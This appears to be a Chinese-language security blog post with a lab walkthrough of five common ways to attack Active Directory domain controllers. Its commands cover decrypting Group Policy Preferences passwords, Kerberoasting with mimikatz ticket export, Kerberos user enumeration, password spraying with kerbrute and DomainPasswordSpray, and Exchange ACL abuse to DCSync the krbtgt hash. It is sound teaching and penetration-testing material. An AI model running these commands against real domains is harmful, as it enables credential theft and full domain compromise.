白袍的小行星

攻击域控的几种常规方法

字数统计: 2.1k阅读时长: 8 min
2020/12/02 Share

1. 组策略首选项和SYSVOL中的密码

在域内有一个默认的共享路径:\\<DOMAIN>\SYSVOL\<DOMAIN>\

SYSVOL路径

此路径所有域内主机都可以访问,里面存放的是一些配置文件等。

如果域管理员使用组策略批量管理时,填入了密码,则此密码会被放入该共享文件夹中,虽然是被加密的,但是微软公开了其AES加密密钥,所以很容易就可以解开密码。

攻击演示

运行输入gpmc.msc,新建一个组策略对象:

新建GPO

编辑刚刚新建的组策略对象,新建一个本地用户:

新建本地用户

之后添加Domain Computers到组策略组中:

添加Domain Computers到策略组

之后,就可以在\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\<组策略对象对应ID>\Machine\Preferences\Groups中找到Groups.xml:

groups.xml

利用

Groups.xml中的cpassword项即是被加密的用户密码,使用PowerSploitGet-GPPPassword模块可破解,它同时也可以自动搜索所有共享文件夹里的密码并还原。

也可使用kali命令gpp-decrypt破解:

破解cpassword

在Windows Server 2012及以后的版本中,此方法失效,补丁KB2962486解决了此问题,密码将不再保存在组策略首选项中。

同样,在NETLOGON目录中的某些脚本也有可能包含着账号密码。

2. Kerberoasting

即Kerberos TGS服务票证离线破解。
攻击者可以获取TGS服务票据,此票据是使用目标服务的NTLM hash加密生成的,加密算法为RC4-HMAC。如果用户的口令长度不够或不够复杂,我们就可以模拟加密过程,类似破解MD5一样,生成不同的TGS作对比。

域内的所有主机和域用户都可以请求SPN,在获取到有价值的SPN后,任何域内用户都可以向域内的所有服务请求TGS,之后对其进行暴力破解。

攻击流程:

  1. 查询SPN,找到有价值的SPN,即注册在域用户账户(Users)下且权限较高
  2. 请求并导出TGS
  3. 破解

首先来看SPN,kerberos身份验证使用SPN将服务实例与服务登录账户相关联,是服务实例的唯一标识符。
SPN分为两种:

  1. 当一个服务的权限为Local System或Network Service,SPN注册在机器账户下
  2. 当一个服务的权限为域用户,SPN注册在域用户账户下
    在Windows域内,默认情况下普通机器账户有权限注册SPN,而普通域用户账号没有权限。

查询SPN:setspn -Q */*
查询SPN
对于我们来说,有价值的SPN即在域用户下注册的SPN,因为机器账户不能用于远程连接,而且密码也非常复杂。

为了演示,先在本机上建立一个注册在域用户下的SPN。
setspn的命令格式如下:

Setspn -s http/<computer-name>.<domain-name> <domain-user-account>

-s参数验证是否有重复项。
本地添加一个SQL server服务:
添加SQL server服务

利用

请求SPN:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc.god.org"

利用mimikatz导出票据,有普通域用户权限即可导出:

mimikatz # kerberos::list /export

使用GitHub - nidem/kerberoast里的tgsrepcrack.py离线破解票据:

python3 tgsrepcrack.py password.txt "0-40e00000-keke@krbtgt~GOD.ORG-GOD.ORG.kirbi"

也可以利用impacket工具包里的GetUserSPNs.py来获取哈希再利用john或hashcat破解,具体演示可以在Hack The Box-Active | 白袍的小行星看到。

如果得到一个有权限注册SPN的域账户,可以手动注册SPN再进行Kerberoasting.

3. 对域用户进行密码喷射

密码喷射即对不同用户进行同一个弱密码猜解,适合拥有大量用户名但是不适合单个暴力破解的情景。
我们可以通过kerberos服务错误代码来枚举用户名:

  • 账户启用:KDC_ERR_PREAUTH_REQUIRED
  • 账户锁定/禁用:KDC_ERR_CLIENT_REVOKED
  • 账户不存在:KDC_ERR_C_PRINCIPAL_UNKNOWN

枚举域用户

利用nmap脚本进行扫描:

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='<DOMAIN>',userdb=<USERFILE> DC

nmap扫描

或者使用msf的模块,auxiliary/gather/kerberos_enumusers:

msf扫描

利用

得到域用户列表后,还应该了解一些关于域用户密码信息,防止爆破次数过多对账户造成影响。
使用GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing,命令格式如下:

kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERFILE> <PASSWORD>

kerbrute爆破

4. 爆破LDAP

同样地,在进行爆破LDAP时也需要知道两点:账户密码策略和账户名列表。

密码策略

在密码策略中,我们主要关注以下几部分:

  • Maximum password age,表示密码过期的时间,默认为42天
  • Minimum password length,表示密码的最小长度,默认为7
  • Account lockout duration,表示被锁定的帐户在自动解锁前保持锁定的分钟数,默认为30
  • Account lockout threshold,表示导致用户帐户被锁定的失败登录尝试次数,默认为5
  • Reset account lockout counter after,表示失败登录尝试计数器重置为0次错误登录尝试之前,失败登录尝试后必须经过的分钟数,默认为30

如果在域外,可以使用kali的ldapsearch,前提是可以访问DC的389端口,并且至少有一个域用户的账号密码

ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" | grep lockoutDuration -A 5

ldapsearch连接
其中maxPwdAgelockoutDurationlockOutObservationWindow的值除以10000000即为秒数。

如果在域内,我们至少需要域内一台主机的权限,通过powershell获取:

import-module .\Microsoft.ActiveDirectory.Management.dll
Get-ADDefaultDomainPasswordPolicy

这里需要加载这个dll,下载地址:https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

查询结果

用户名列表

在域外,同样使用ldapsearch,也同样需要能访问DC的389端口,并且有一个域用户账号密码。

查询所有域用户:

ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" "(&(objectClass=user)(objectCategory=person))" CN | grep cn

查询结果

查询所有域机器:

ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn

所有域机器

查询所有组:

ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" "(&(objectCategory=group))" CN | grep cn

所有组

或者使用PowerView,需要同样条件,并且可以在域内查询使用。

利用

在域内,我们可以使用 DomainPasswordSpray 来进行爆破。

Invoke-DomainPasswordSpray -UserList .\users.txt -Password password -Verbose

脚本演示
虽然报错了,但是不影响爆破出结果。
还可以筛选出被锁定和禁用的用户,test用户已经被禁用:

Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts

脚本演示

域外,可以利用ldapsearch加简单循环达到暴力破解的目的。

5. Exchange服务器特定ACL滥用

安装完Exchange后,默认会自动增加一个Microsoft Exchange Security Groups的Organizational Unit,其中有Exchange Trusted SubsystemExchange Windows Permission这两个组,前者是后者的成员:

安装后的OU

在默认情况下,Exchange Windows Permissions对安装Exchange的域对象具有WriteDACL权限,那么其成员Exchange Trusted Subsystem也会继承此权限。
如果域对象有WriteDACL权限,那么就可以为指定域用户添加ACE,使其获得利用DCSync导出hash的权限。
只要获得以下三组任意用户权限,都可以完成上述操作:

  • Exchange Trusted Subsystem
  • Exchange Windows Permission
  • Organization Management

    利用

    将test用户加入Exchange Trusted Subsystem组,此时我们已知test用户的口令。

test已加入对应组

注意:test用户需有以下任一用户的权限:

  • Administrator组用户
  • Domain Admins组用户
  • Enterprise Admins组用户
  • 域控制器的计算机账户

在演示中,test用户为本地管理员权限,域内普通用户权限。
使用mimikatz导出krbtgt用户的hash:

mimikatz privilege::debug "lsadump::dcsync /domain:god.org /user:krbtgt /csv" exit

得到krbtgt的hash
拿到hash便可以制作黄金票据,从而提权。

Invoke-ACLPwn 项目可以自动查找不安全的ACL并将用户添加到相应组进行利用。

小结

出于实用性的原因,ms14-068之类的手段没有写入,之后会单独分析这个漏洞,同样还有黄金票据等。

CATALOG
  1. 1. 1. 组策略首选项和SYSVOL中的密码
    1. 1.1. 攻击演示
    2. 1.2. 利用
  2. 2. 2. Kerberoasting
    1. 2.1. 利用
  3. 3. 3. 对域用户进行密码喷射
    1. 3.1. 枚举域用户
    2. 3.2. 利用
  4. 4. 4. 爆破LDAP
    1. 4.1. 密码策略
    2. 4.2. 用户名列表
    3. 4.3. 利用
  5. 5. 5. Exchange服务器特定ACL滥用
    1. 5.1. 利用
  6. 6. 小结